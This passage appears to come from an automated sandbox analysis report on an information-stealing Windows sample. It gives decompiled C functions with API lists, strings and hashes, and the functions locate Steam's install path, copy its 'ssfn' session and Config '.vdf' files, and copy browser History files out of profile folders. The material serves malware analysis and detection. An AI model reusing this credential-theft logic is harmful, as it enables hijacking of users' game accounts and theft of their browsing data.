							_push(0x412ffc);
							E00403D6C( &_v644, 0x104,  &(_v616.cFileName));
							_push(_v644);
							_push(L"\\History");
							E00403E78();
							E00412974(_v640, 0,  &_v636, _t148, _t149); // executed
							E0040377C( &_v632, _v636);
							_push(_v632);
							_push(_v16);
							_push(0x412ffc);
							_push(_v12);
							_push(0x41301c);
							E00403D6C( &_v656, 0x104,  &(_v616.cFileName));
							_push(_v656);
							_push(L".txt");
							E00403E78();
							E0040377C( &_v648, _v652);
							_pop(_t117);
							E0040E6D4(_t117, 0, _v648, _t148, _t149);
						}
						_pop(_t139);
						 *[fs:eax] = _t139;
					}
					_t86 = FindNextFileW(_v24,  &_v616); // executed
				} while (_t86 != 0);
				FindClose(_v24);
				_pop(_t134);
				 *[fs:eax] = _t134;
				_push(E00412FDB);
				E00403BF4( &_v656, 2);
				E004034E4( &_v648);
				E00403BF4( &_v644, 3);
				E004034E4( &_v632);
				E00403BF4( &_v628, 3);
				return E00403BF4( &_v16, 3);
			}

0x00412d40
0x00412d40
0x00412d40
0x00412d41
0x00412d43
0x00412d46
0x00412d48
0x00412d49
0x00412d4b
0x00412d4d
0x00412d4f
0x00412d52
0x00412d54
0x00412d59
0x00412d5b
0x00412d5d
0x00412d5f
0x00412d65
0x00412d67
0x00412d69
0x00412d6b
0x00412d6d
0x00412d6f
0x00412d76
0x00412d77
0x00412d7a
0x00412d80
0x00412d86
0x00412d8c
0x00412d92
0x00412d98
0x00412d9e
0x00412da4
0x00412daa
0x00412db0
0x00412db6
0x00412db9
0x00412dbc
0x00412dc2
0x00412dca
0x00412dd2
0x00412dd9
0x00412dda
0x00412ddf
0x00412de2
0x00412dfa
0x00412e0b
0x00412e10
0x00412e13
0x00412e13
0x00412e16
0x00412e2c
0x00412e31
0x00412e37
0x00412e3c
0x00412e41
0x00412e4e
0x00412e59
0x00412e60
0x00412e68
0x00412e69
0x00412e6e
0x00412e71
0x00412e78
0x00412e7e
0x00412e81
0x00412e97
0x00412e9c
0x00412ea2
0x00412eb2
0x00412ec3
0x00412ed4
0x00412edf
0x00412ee0
0x00412ee3
0x00412ee8
0x00412eeb
0x00412f01
0x00412f06
0x00412f0c
0x00412f1c
0x00412f2d
0x00412f38
0x00412f39
0x00412f39
0x00412f40
0x00412f43
0x00412f43
0x00412f5d
0x00412f62
0x00412f6e
0x00412f75
0x00412f78
0x00412f7b
0x00412f8b
0x00412f96
0x00412fa6
0x00412fb1
0x00412fc1
0x00412fd3

APIs

Part of subcall function 00404150: SysAllocStringLen.OLEAUT32(SOFTWARE\Microsoft\Cryptography,?), ref: 0040415E

FindFirstFileW.KERNEL32(00000000,?,00000000,00412FD4,?,00000000,?,00000000,?,00413361,00000000,00000000,00413B6D,?,00000000,00000024), ref: 00412E0B

Part of subcall function 0040776C: GetFileAttributesW.KERNEL32(00000000,00000000,004077B8,?,0041CA58,?,?,004096E8,00000000,00000000,00000000,00409963,?,?,?,00000000), ref: 0040779A

FindNextFileW.KERNEL32(?,?,ln,00412FFC,?,00412FFC,0041A212,00000000,?,00000000,00412FD4,?,00000000,?,00000000), ref: 00412F5D
FindClose.KERNEL32(?,?,?,ln,00412FFC,?,00412FFC,0041A212,00000000,?,00000000,00412FD4,?,00000000,?,00000000), ref: 00412F6E

Part of subcall function 00412974: GetTickCount.KERNEL32 ref: 004129B8
Part of subcall function 00412974: CopyFileW.KERNEL32(00000000,00000000,000000FF,?,00412C78,?,.tmp,?,?,00000000,00412BB7,?,00000000,00412C41,?,00000000), ref: 00412A34

Strings

\History, xrefs: 00412EA2
\*.*, xrefs: 00412DF2
ln, xrefs: 00412E41
.txt, xrefs: 00412F0C

Memory Dump Source

Source File: 0000000C.00000002.510992835.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.510986386.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.511009597.000000000041B000.00000004.00020000.sdmp Download File

Yara matches

Similarity

API ID: File$Find$AllocAttributesCloseCopyCountFirstNextStringTick
String ID: .txt$\*.*$\History$ln
API String ID: 572697310-3533840778
Opcode ID: 711acdd9cc4d9524a4791a30a0e0515aa852f7d6473c68b47aca2f7a1cdeb35b
Instruction ID: a70a3f8766dd11b90035d6a7f1adc9aebd013bfecc53b23ebceffb81d0acf14c
Opcode Fuzzy Hash: 711acdd9cc4d9524a4791a30a0e0515aa852f7d6473c68b47aca2f7a1cdeb35b
Instruction Fuzzy Hash: 62615C749092599FCB11EF61CD85AC9BB78EF49304F5041EBA008A72A2DB789F89DF14

Uniqueness

Uniqueness Score: -1.00%

Function 00414A90, Relevance: 12.4, APIs: 2, Strings: 5, Instructions: 160
fileCOMMON

Download Yara Rule

C-Code - Quality: 39%

			E00414A90(char __eax, void* __ebx, void* __edi, void* __esi) {
				char _v8;
				char _v12;
				char _v604;
				char _v608;
				char _v612;
				char _v616;
				intOrPtr _v620;
				char _v624;
				intOrPtr _v628;
				char _v632;
				char _v636;
				char _v640;
				intOrPtr _v644;
				char _v648;
				intOrPtr _v652;
				char _v656;
				void* _t67;
				void* _t80;
				intOrPtr* _t81;
				void* _t90;
				intOrPtr* _t104;
				void* _t121;
				void* _t122;
				void* _t123;
				void* _t143;
				void* _t150;
				intOrPtr _t151;
				intOrPtr* _t157;
				struct _WIN32_FIND_DATAW* _t159;
				intOrPtr _t161;
				intOrPtr _t162;

				_t161 = _t162;
				_t123 = 0x51;
				do {
					_push(0);
					_push(0);
					_t123 = _t123 - 1;
				} while (_t123 != 0);
				_push(_t123);
				_push(__ebx);
				_v8 = __eax;
				E00404150( &_v8);
				_t159 =  &_v604;
				_t157 =  *0x41b198; // 0x41c6b8
				_push(_t161);
				_push(0x414cfc);
				_push( *[fs:eax]);
				 *[fs:eax] = _t162;
				E004075C0(0x80000001, __ebx, L"SteamPath", L"Software\\Valve\\Steam",  &_v12, 0); // executed
				E0040717C(_v12, __ebx, E00414D58, 0x414d60,  &_v608);
				E00403C3C( &_v12, _v608);
				E00403E14( &_v612, L"\\ssfn*", _v12, 0);
				_t67 = FindFirstFileW(E00403D98(_v612), _t159); // executed
				_t121 = _t67;
				do {
					_push(_v8);
					_push(E00414D58);
					E00403D6C( &_v624, 0x104,  &(_t159->cFileName));
					_push(_v624);
					E00403E78();
					E0040377C( &_v616, _v620);
					_push(_v616);
					_push(_v12);
					_push(E00414D58);
					E00403D6C( &_v632, 0x104,  &(_t159->cFileName));
					_push(_v632);
					E00403E78();
					_pop(_t143); // executed
					E0040E79C(_v628, _t121, _t143, _t157, _t159); // executed
					_t80 =  *((intOrPtr*)( *_t157))(_t121, _t159);
					_t165 = _t80;
				} while (_t80 != 0);
				_t81 =  *0x41b3ec; // 0x41c6c8
				 *((intOrPtr*)( *_t81))(_t121);
				E00403E14( &_v636, L"\\Config\\*.vdf", _v12, _t165);
				_t90 = FindFirstFileW(E00403D98(_v636), _t159); // executed
				_t122 = _t90;
				do {
					_push(_v8);
					_push(L"\\Config\\");
					E00403D6C( &_v648, 0x104,  &(_t159->cFileName));
					_push(_v648);
					E00403E78();
					E0040377C( &_v640, _v644);
					_push(_v640);
					_push(_v12);
					_push(L"\\Config\\");
					E00403D6C( &_v656, 0x104,  &(_t159->cFileName));
					_push(_v656);
					E00403E78();
					_pop(_t150); // executed
					E0040E79C(_v652, _t122, _t150, _t157, _t159); // executed
					_push(_t159);
					_push(_t122);
				} while ( *((intOrPtr*)( *_t157))() != 0);
				_t104 =  *0x41b3ec; // 0x41c6c8
				 *((intOrPtr*)( *_t104))();
				_t151 = _t122;
				 *[fs:eax] = _t151;
				_push(E00414D03);
				E00403BF4( &_v656, 4);
				E004034E4( &_v640);
				E00403BF4( &_v636, 5);
				E004034E4( &_v616);
				E00403BF4( &_v612, 2);
				return E00403BF4( &_v12, 2);
			}

0x00414a91
0x00414a93
0x00414a98
0x00414a98
0x00414a9a
0x00414a9c
0x00414a9c
0x00414a9f
0x00414aa0
0x00414aa3
0x00414aa9
0x00414aae
0x00414ab4
0x00414abc
0x00414abd
0x00414ac2
0x00414ac5
0x00414add
0x00414af6
0x00414b04
0x00414b18
0x00414b30
0x00414b32
0x00414b34
0x00414b34
0x00414b37
0x00414b4a
0x00414b4f
0x00414b60
0x00414b71
0x00414b7c
0x00414b7d
0x00414b80
0x00414b93
0x00414b98
0x00414ba9
0x00414bb4
0x00414bb5
0x00414bbe
0x00414bc0
0x00414bc0
0x00414bc9
0x00414bd0
0x00414be1
0x00414bf9
0x00414bfb
0x00414bfd
0x00414bfd
0x00414c00
0x00414c13
0x00414c18
0x00414c29
0x00414c3a
0x00414c45
0x00414c46
0x00414c49
0x00414c5c
0x00414c61
0x00414c72
0x00414c7d
0x00414c7e
0x00414c83
0x00414c84
0x00414c89
0x00414c92
0x00414c99
0x00414c9d
0x00414ca0
0x00414ca3
0x00414cb3
0x00414cbe
0x00414cce
0x00414cd9
0x00414ce9
0x00414cfb

APIs

FindFirstFileW.KERNEL32(00000000,?,?,?,00000000,00000000,00414CFC,?,00000000,?,00000000,00000050,00000000,00000000,?,00418AF1), ref: 00414B30
FindFirstFileW.KERNEL32(00000000,?,?,00000000,?,00000000,00000050,00000000,00000000,?,00418AF1,?,?,?,00000000), ref: 00414BF9

Part of subcall function 0040E79C: CopyFileW.KERNEL32(00000000,00000000,00000000,00000000,0040E89B,?,00000000,00000000,00000000,00000000,00000000,00000000,?,00414448,00000001,0041479C), ref: 0040E824
Part of subcall function 0040E79C: DeleteFileW.KERNEL32(00000000,00000000,0040E89B,?,00000000,00000000,00000000,00000000,00000000,00000000,?,00414448,00000001,0041479C,00000001,?), ref: 0040E866

Strings

\Config\, xrefs: 00414C00, 00414C49
\Config\*.vdf, xrefs: 00414BD9
SteamPath, xrefs: 00414ACE
\ssfn*, xrefs: 00414B10
Software\Valve\Steam, xrefs: 00414AD3

Memory Dump Source

Source File: 0000000C.00000002.510992835.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.510986386.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.511009597.000000000041B000.00000004.00020000.sdmp Download File

Yara matches

Similarity

API ID: File$FindFirst$CopyDelete
String ID: Software\Valve\Steam$SteamPath$\Config\$\Config\*.vdf$\ssfn*
API String ID: 951674436-2133056588
Opcode ID: ff018b018a0cc9debbf625987233a7bc683cf14ca7111389e544349d4f3fc669
Instruction ID: 57d99f7f1c40c8170767429780179a99fd00a587a6f3dab501ab3867d6466356
Opcode Fuzzy Hash: ff018b018a0cc9debbf625987233a7bc683cf14ca7111389e544349d4f3fc669
Instruction Fuzzy Hash: 10511D746001199FDB10EB65CC85FDEBBBDEF88305F5081B6A508A7291DB38AF858F54

Uniqueness

Uniqueness Score: -1.00%

Function 00412D48, Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 157
fileCOMMON

Download Yara Rule

C-Code - Quality: 60%

			E00412D48(signed int __eax, void* __ebx, char __ecx, char __edx, void* __edi, void* __esi, intOrPtr _a4) {
				signed int _v4;
				char _v8;
				char _v12;
				char _v16;
				void* _v20;
				void* _v24;
				intOrPtr _v117;
				struct _WIN32_FIND_DATAW _v616;
				long _v620;
				long _v624;
				char _v628;
				char _v632;
				char _v636;
				char _v640;
				char _v644;
				char _v648;
				long _v652;
				char _v656;
				signed int _t62;
				void* _t75;
				intOrPtr* _t78;
				void* _t81;
				int _t84;
				void* _t115;
				intOrPtr _t132;
				intOrPtr _t137;
				void* _t149;
				void* _t150;
				intOrPtr _t151;

				_t147 = __esi;
				_t146 = __edi;
				_pop(_t148);
				 *__eax =  *__eax + __eax;
				 *__eax =  *__eax + __eax;
				 *__eax =  *__eax + __eax;
				 *((intOrPtr*)(__eax + __eax)) =  *((intOrPtr*)(__eax + __eax)) + __eax;
				 *__eax =  *__eax + __eax;
				_t62 = __eax | 0x00000a00;
				 *_t62 =  *_t62 + _t62;
				 *_t62 =  *_t62 + __ecx;
				 *_t62 =  *_t62 + _t62;
				 *0xd000a00 =  *0xd000a00 + __ecx;
				 *((intOrPtr*)(__edx)) =  *((intOrPtr*)(__edx)) + __ecx;
				 *_t62 =  *_t62 + _t62;
				 *_t62 =  *_t62 + _t62;
				_v117 = _v117 + __edx;
				_t149 = _t150;
				_t151 = _t150 + 0xfffffd74;
				_push(__ebx);
				_push(__esi);
				_push(__edi);
				_v628 = 0;
				_v632 = 0;
				_v644 = 0;
				_v648 = 0;
				_v652 = 0;
				_v636 = 0;
				_v640 = 0;
				_v620 = 0;
				_v624 = 0;
				_v616.dwFileAttributes = 0;
				_v12 = __ecx;
				_v8 = __edx;
				_v4 = _t62;
				E00404150( &_v4);
				E00404150( &_v8);
				E00404150( &_v12);
				_push(_t149);
				_push(0x412fd4);
				_push( *[fs:eax]);
				 *[fs:eax] = _t151;
				E00403E14( &_v616, L"\\*.*", _v4, 0);
				_t75 = FindFirstFileW(E00403D98(_v616.dwFileAttributes),  &(_v616.ftCreationTime)); // executed
				_v20 = _t75;
				do {
					_push(_v8);
					_push(0x412ffc);
					E00403D6C( &_v628, 0x104,  &(_v616.cFileName));
					_push(_v628);
					_push(0x412ffc);
					_t78 =  *0x41b180; // 0x41c91c
					_push( *_t78);
					E00403E78();
					_t81 = E0040776C(_v624, 0, 0x104); // executed
					if(_t81 != 0) {
						_push(_t149);
						_push(0x412f48);
						_push( *[fs:eax]);
						 *[fs:eax] = _t151;
						if(_a4 == 0) {
							_push(_v8);
							_push(0x412ffc);
							E00403D6C( &_v644, 0x104,  &(_v616.cFileName));
							_push(_v644);
							_push(L"\\History");
							E00403E78();
							E00412974(_v640, 0,  &_v636, _t146, _t147); // executed
							E0040377C( &_v632, _v636);
							_push(_v632);
							_push(_v16);
							_push(0x412ffc);
							_push(_v12);
							_push(0x41301c);
							E00403D6C( &_v656, 0x104,  &(_v616.cFileName));
							_push(_v656);
							_push(L".txt");
							E00403E78();
							E0040377C( &_v648, _v652);
							_pop(_t115);
							E0040E6D4(_t115, 0, _v648, _t146, _t147);
						}
						_pop(_t137);
						 *[fs:eax] = _t137;
					}
					_t84 = FindNextFileW(_v24,  &_v616); // executed
				} while (_t84 != 0);
				FindClose(_v24);
				_pop(_t132);
				 *[fs:eax] = _t132;
				_push(E00412FDB);
				E00403BF4( &_v656, 2);
				E004034E4( &_v648);
				E00403BF4( &_v644, 3);
				E004034E4( &_v632);
				E00403BF4( &_v628, 3);
				return E00403BF4( &_v16, 3);
			}

0x00412d48
0x00412d48
0x00412d48
0x00412d49
0x00412d4b
0x00412d4d
0x00412d4f
0x00412d52
0x00412d54
0x00412d59
0x00412d5b
0x00412d5d
0x00412d5f
0x00412d65
0x00412d67
0x00412d69
0x00412d6b
0x00412d6d
0x00412d6f
0x00412d75
0x00412d76
0x00412d77
0x00412d7a
0x00412d80
0x00412d86
0x00412d8c
0x00412d92
0x00412d98
0x00412d9e
0x00412da4
0x00412daa
0x00412db0
0x00412db6
0x00412db9
0x00412dbc
0x00412dc2
0x00412dca
0x00412dd2
0x00412dd9
0x00412dda
0x00412ddf
0x00412de2
0x00412dfa
0x00412e0b
0x00412e10
0x00412e13
0x00412e13
0x00412e16
0x00412e2c
0x00412e31
0x00412e37
0x00412e3c
0x00412e41
0x00412e4e
0x00412e59
0x00412e60
0x00412e68
0x00412e69
0x00412e6e
0x00412e71
0x00412e78
0x00412e7e
0x00412e81
0x00412e97
0x00412e9c
0x00412ea2
0x00412eb2
0x00412ec3
0x00412ed4
0x00412edf
0x00412ee0
0x00412ee3
0x00412ee8
0x00412eeb
0x00412f01
0x00412f06
0x00412f0c
0x00412f1c
0x00412f2d
0x00412f38
0x00412f39
0x00412f39
0x00412f40
0x00412f43
0x00412f43
0x00412f5d
0x00412f62
0x00412f6e
0x00412f75
0x00412f78
0x00412f7b
0x00412f8b
0x00412f96
0x00412fa6
0x00412fb1
0x00412fc1
0x00412fd3

APIs

Part of subcall function 00404150: SysAllocStringLen.OLEAUT32(SOFTWARE\Microsoft\Cryptography,?), ref: 0040415E

FindFirstFileW.KERNEL32(00000000,?,00000000,00412FD4,?,00000000,?,00000000,?,00413361,00000000,00000000,00413B6D,?,00000000,00000024), ref: 00412E0B

Part of subcall function 0040776C: GetFileAttributesW.KERNEL32(00000000,00000000,004077B8,?,0041CA58,?,?,004096E8,00000000,00000000,00000000,00409963,?,?,?,00000000), ref: 0040779A

FindNextFileW.KERNEL32(?,?,ln,00412FFC,?,00412FFC,0041A212,00000000,?,00000000,00412FD4,?,00000000,?,00000000), ref: 00412F5D
FindClose.KERNEL32(?,?,?,ln,00412FFC,?,00412FFC,0041A212,00000000,?,00000000,00412FD4,?,00000000,?,00000000), ref: 00412F6E

Part of subcall function 00412974: GetTickCount.KERNEL32 ref: 004129B8
Part of subcall function 00412974: CopyFileW.KERNEL32(00000000,00000000,000000FF,?,00412C78,?,.tmp,?,?,00000000,00412BB7,?,00000000,00412C41,?,00000000), ref: 00412A34

Strings

\History, xrefs: 00412EA2
\*.*, xrefs: 00412DF2
ln, xrefs: 00412E41
.txt, xrefs: 00412F0C

Memory Dump Source

Source File: 0000000C.00000002.510992835.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.510986386.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.511009597.000000000041B000.00000004.00020000.sdmp Download File

Yara matches

Similarity

API ID: File$Find$AllocAttributesCloseCopyCountFirstNextStringTick
String ID: .txt$\*.*$\History$ln
API String ID: 572697310-3533840778
Opcode ID: c5898db9d6aef7d1d8ef3145ac6ccd101f3e90cf9b255fd5fd2c2b9ff06a5e81
Instruction ID: 5be916aababefb9bb3693d9273c24967f58dbe465bd0135ab9ae69e1b6f9d062
Opcode Fuzzy Hash: c5898db9d6aef7d1d8ef3145ac6ccd101f3e90cf9b255fd5fd2c2b9ff06a5e81
Instruction Fuzzy Hash: 77614A749092599FCF11EF61CD85AC9BBB8EB49304F5041EBA008A32A2DB789F859F14

Uniqueness

Uniqueness Score: -1.00%

Function 00412D54, Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 151
fileCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E00412D54(signed int __eax, void* __ebx, char __ecx, char __edx, void* __edi, void* __esi, intOrPtr _a4) {
				signed int _v8;
				char _v12;
				char _v16;
				void* _v24;
				intOrPtr _v117;
				struct _WIN32_FIND_DATAW _v616;
				char _v620;
				char _v624;
				char _v628;
				char _v632;
				char _v636;
				char _v640;
				char _v644;
				char _v648;
				char _v652;
				char _v656;
				signed int _t60;
				void* _t73;
				intOrPtr* _t76;
				void* _t79;
				int _t82;
				void* _t113;
				intOrPtr _t130;
				intOrPtr _t135;
				void* _t147;
				void* _t148;
				intOrPtr _t149;

				_t145 = __esi;
				_t144 = __edi;
				_t60 = __eax | 0x00000a00;
				 *_t60 =  *_t60 + _t60;
				 *_t60 =  *_t60 + __ecx;
				 *_t60 =  *_t60 + _t60;
				 *0xd000a00 =  *0xd000a00 + __ecx;
				 *((intOrPtr*)(__edx)) =  *((intOrPtr*)(__edx)) + __ecx;
				 *_t60 =  *_t60 + _t60;
				 *_t60 =  *_t60 + _t60;
				_v117 = _v117 + __edx;
				_t147 = _t148;
				_t149 = _t148 + 0xfffffd74;
				_push(__ebx);
				_push(__esi);
				_push(__edi);
				_v632 = 0;
				_v636 = 0;
				_v648 = 0;
				_v652 = 0;
				_v656 = 0;
				_v640 = 0;
				_v644 = 0;
				_v624 = 0;
				_v628 = 0;
				_v620 = 0;
				_v16 = __ecx;
				_v12 = __edx;
				_v8 = _t60;
				E00404150( &_v8);
				E00404150( &_v12);
				E00404150( &_v16);
				_push(_t147);
				_push(0x412fd4);
				_push( *[fs:eax]);
				 *[fs:eax] = _t149;
				E00403E14( &_v620, L"\\*.*", _v8, 0);
				_t73 = FindFirstFileW(E00403D98(_v620),  &_v616); // executed
				_v24 = _t73;
				do {
					_push(_v8);
					_push(0x412ffc);
					E00403D6C( &_v628, 0x104,  &(_v616.cFileName));
					_push(_v628);
					_push(0x412ffc);
					_t76 =  *0x41b180; // 0x41c91c
					_push( *_t76);
					E00403E78();
					_t79 = E0040776C(_v624, 0, 0x104); // executed
					if(_t79 != 0) {
						_push(_t147);
						_push(0x412f48);
						_push( *[fs:eax]);
						 *[fs:eax] = _t149;
						if(_a4 == 0) {
							_push(_v8);
							_push(0x412ffc);
							E00403D6C( &_v644, 0x104,  &(_v616.cFileName));
							_push(_v644);
							_push(L"\\History");
							E00403E78();
							E00412974(_v640, 0,  &_v636, _t144, _t145); // executed
							E0040377C( &_v632, _v636);
							_push(_v632);
							_push(_v16);
							_push(0x412ffc);
							_push(_v12);
							_push(0x41301c);
							E00403D6C( &_v656, 0x104,  &(_v616.cFileName));
							_push(_v656);
							_push(L".txt");
							E00403E78();
							E0040377C( &_v648, _v652);
							_pop(_t113);
							E0040E6D4(_t113, 0, _v648, _t144, _t145);
						}
						_pop(_t135);
						 *[fs:eax] = _t135;
					}
					_t82 = FindNextFileW(_v24,  &_v616); // executed
				} while (_t82 != 0);
				FindClose(_v24);
				_pop(_t130);
				 *[fs:eax] = _t130;
				_push(E00412FDB);
				E00403BF4( &_v656, 2);
				E004034E4( &_v648);
				E00403BF4( &_v644, 3);
				E004034E4( &_v632);
				E00403BF4( &_v628, 3);
				return E00403BF4( &_v16, 3);
			}

0x00412d54
0x00412d54
0x00412d54
0x00412d59
0x00412d5b
0x00412d5d
0x00412d5f
0x00412d65
0x00412d67
0x00412d69
0x00412d6b
0x00412d6d
0x00412d6f
0x00412d75
0x00412d76
0x00412d77
0x00412d7a
0x00412d80
0x00412d86
0x00412d8c
0x00412d92
0x00412d98
0x00412d9e
0x00412da4
0x00412daa
0x00412db0
0x00412db6
0x00412db9
0x00412dbc
0x00412dc2
0x00412dca
0x00412dd2
0x00412dd9
0x00412dda
0x00412ddf
0x00412de2
0x00412dfa
0x00412e0b
0x00412e10
0x00412e13
0x00412e13
0x00412e16
0x00412e2c
0x00412e31
0x00412e37
0x00412e3c
0x00412e41
0x00412e4e
0x00412e59
0x00412e60
0x00412e68
0x00412e69
0x00412e6e
0x00412e71
0x00412e78
0x00412e7e
0x00412e81
0x00412e97
0x00412e9c
0x00412ea2
0x00412eb2
0x00412ec3
0x00412ed4
0x00412edf
0x00412ee0
0x00412ee3
0x00412ee8
0x00412eeb
0x00412f01
0x00412f06
0x00412f0c
0x00412f1c
0x00412f2d
0x00412f38
0x00412f39
0x00412f39
0x00412f40
0x00412f43
0x00412f43
0x00412f5d
0x00412f62
0x00412f6e
0x00412f75
0x00412f78
0x00412f7b
0x00412f8b
0x00412f96
0x00412fa6
0x00412fb1
0x00412fc1
0x00412fd3

APIs

Part of subcall function 00404150: SysAllocStringLen.OLEAUT32(SOFTWARE\Microsoft\Cryptography,?), ref: 0040415E

FindFirstFileW.KERNEL32(00000000,?,00000000,00412FD4,?,00000000,?,00000000,?,00413361,00000000,00000000,00413B6D,?,00000000,00000024), ref: 00412E0B

Part of subcall function 0040776C: GetFileAttributesW.KERNEL32(00000000,00000000,004077B8,?,0041CA58,?,?,004096E8,00000000,00000000,00000000,00409963,?,?,?,00000000), ref: 0040779A

FindNextFileW.KERNEL32(?,?,ln,00412FFC,?,00412FFC,0041A212,00000000,?,00000000,00412FD4,?,00000000,?,00000000), ref: 00412F5D
FindClose.KERNEL32(?,?,?,ln,00412FFC,?,00412FFC,0041A212,00000000,?,00000000,00412FD4,?,00000000,?,00000000), ref: 00412F6E

Part of subcall function 00412974: GetTickCount.KERNEL32 ref: 004129B8
Part of subcall function 00412974: CopyFileW.KERNEL32(00000000,00000000,000000FF,?,00412C78,?,.tmp,?,?,00000000,00412BB7,?,00000000,00412C41,?,00000000), ref: 00412A34

Strings

\History, xrefs: 00412EA2
\*.*, xrefs: 00412DF2
ln, xrefs: 00412E41
.txt, xrefs: 00412F0C

Memory Dump Source

Source File: 0000000C.00000002.510992835.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.510986386.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.511009597.000000000041B000.00000004.00020000.sdmp Download File

Yara matches

Similarity

API ID: File$Find$AllocAttributesCloseCopyCountFirstNextStringTick
String ID: .txt$\*.*$\History$ln
API String ID: 572697310-3533840778
Opcode ID: 1aa351a5ef7f79a62f42a0b91d4ee917e39b092b27fb5c3b147177fef905e013
Instruction ID: dac611692670e950e4bb58724a4f8fb38996093eff1f794c13f53f7d62819a0b
Opcode Fuzzy Hash: 1aa351a5ef7f79a62f42a0b91d4ee917e39b092b27fb5c3b147177fef905e013
Instruction Fuzzy Hash: 286129749052199FCF51EF61CD85ACDBBB8EB49304F5041FBA008A3291DB789F959F14

Uniqueness

Uniqueness Score: -1.00%

Function 00412D6C, Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 143
fileCOMMON

Download Yara Rule

C-Code - Quality: 54%

			E00412D6C(char __eax, void* __ebx, char __ecx, char __edx, void* __edi, void* __esi, intOrPtr _a4) {
				char _v8;
				char _v12;
				char _v16;
				void* _v24;
				struct _WIN32_FIND_DATAW _v616;
				char _v620;
				char _v624;
				char _v628;
				char _v632;
				char _v636;
				char _v640;
				char _v644;
				char _v648;
				char _v652;
				char _v656;
				void* _t70;
				intOrPtr* _t73;
				void* _t76;
				int _t79;
				void* _t110;
				intOrPtr _t127;
				intOrPtr _t132;
				void* _t144;
				void* _t145;
				intOrPtr _t146;

				_t142 = __esi;
				_t141 = __edi;
				_t144 = _t145;
				_t146 = _t145 + 0xfffffd74;
				_push(__ebx);
				_push(__esi);
				_push(__edi);
				_v632 = 0;
				_v636 = 0;
				_v648 = 0;
				_v652 = 0;
				_v656 = 0;
				_v640 = 0;
				_v644 = 0;
				_v624 = 0;
				_v628 = 0;
				_v620 = 0;
				_v16 = __ecx;
				_v12 = __edx;
				_v8 = __eax;
				E00404150( &_v8);
				E00404150( &_v12);
				E00404150( &_v16);
				_push(_t144);
				_push(0x412fd4);
				_push( *[fs:eax]);
				 *[fs:eax] = _t146;
				E00403E14( &_v620, L"\\*.*", _v8, 0);
				_t70 = FindFirstFileW(E00403D98(_v620),  &_v616); // executed
				_v24 = _t70;
				do {
					_push(_v8);
					_push(0x412ffc);
					E00403D6C( &_v628, 0x104,  &(_v616.cFileName));
					_push(_v628);
					_push(0x412ffc);
					_t73 =  *0x41b180; // 0x41c91c
					_push( *_t73);
					E00403E78();
					_t76 = E0040776C(_v624, 0, 0x104); // executed
					if(_t76 != 0) {
						_push(_t144);
						_push(0x412f48);
						_push( *[fs:eax]);
						 *[fs:eax] = _t146;
						if(_a4 == 0) {
							_push(_v8);
							_push(0x412ffc);
							E00403D6C( &_v644, 0x104,  &(_v616.cFileName));
							_push(_v644);
							_push(L"\\History");
							E00403E78();
							E00412974(_v640, 0,  &_v636, _t141, _t142); // executed
							E0040377C( &_v632, _v636);
							_push(_v632);
							_push(_v16);
							_push(0x412ffc);
							_push(_v12);
							_push(0x41301c);
							E00403D6C( &_v656, 0x104,  &(_v616.cFileName));
							_push(_v656);
							_push(L".txt");
							E00403E78();
							E0040377C( &_v648, _v652);
							_pop(_t110);
							E0040E6D4(_t110, 0, _v648, _t141, _t142);
						}
						_pop(_t132);
						 *[fs:eax] = _t132;
					}
					_t79 = FindNextFileW(_v24,  &_v616); // executed
				} while (_t79 != 0);
				FindClose(_v24);
				_pop(_t127);
				 *[fs:eax] = _t127;
				_push(E00412FDB);
				E00403BF4( &_v656, 2);
				E004034E4( &_v648);
				E00403BF4( &_v644, 3);
				E004034E4( &_v632);
				E00403BF4( &_v628, 3);
				return E00403BF4( &_v16, 3);
			}

0x00412d6c
0x00412d6c
0x00412d6d
0x00412d6f
0x00412d75
0x00412d76
0x00412d77
0x00412d7a
0x00412d80
0x00412d86
0x00412d8c
0x00412d92
0x00412d98
0x00412d9e
0x00412da4
0x00412daa
0x00412db0
0x00412db6
0x00412db9
0x00412dbc
0x00412dc2
0x00412dca
0x00412dd2
0x00412dd9
0x00412dda
0x00412ddf
0x00412de2
0x00412dfa
0x00412e0b
0x00412e10
0x00412e13
0x00412e13
0x00412e16
0x00412e2c
0x00412e31
0x00412e37
0x00412e3c
0x00412e41
0x00412e4e
0x00412e59
0x00412e60
0x00412e68
0x00412e69
0x00412e6e
0x00412e71
0x00412e78
0x00412e7e
0x00412e81
0x00412e97
0x00412e9c
0x00412ea2
0x00412eb2
0x00412ec3
0x00412ed4
0x00412edf
0x00412ee0
0x00412ee3
0x00412ee8
0x00412eeb
0x00412f01
0x00412f06
0x00412f0c
0x00412f1c
0x00412f2d
0x00412f38
0x00412f39
0x00412f39
0x00412f40
0x00412f43
0x00412f43
0x00412f5d
0x00412f62
0x00412f6e
0x00412f75
0x00412f78
0x00412f7b
0x00412f8b
0x00412f96
0x00412fa6
0x00412fb1
0x00412fc1
0x00412fd3

APIs

Part of subcall function 00404150: SysAllocStringLen.OLEAUT32(SOFTWARE\Microsoft\Cryptography,?), ref: 0040415E

FindFirstFileW.KERNEL32(00000000,?,00000000,00412FD4,?,00000000,?,00000000,?,00413361,00000000,00000000,00413B6D,?,00000000,00000024), ref: 00412E0B

Part of subcall function 0040776C: GetFileAttributesW.KERNEL32(00000000,00000000,004077B8,?,0041CA58,?,?,004096E8,00000000,00000000,00000000,00409963,?,?,?,00000000), ref: 0040779A

FindNextFileW.KERNEL32(?,?,ln,00412FFC,?,00412FFC,0041A212,00000000,?,00000000,00412FD4,?,00000000,?,00000000), ref: 00412F5D
FindClose.KERNEL32(?,?,?,ln,00412FFC,?,00412FFC,0041A212,00000000,?,00000000,00412FD4,?,00000000,?,00000000), ref: 00412F6E

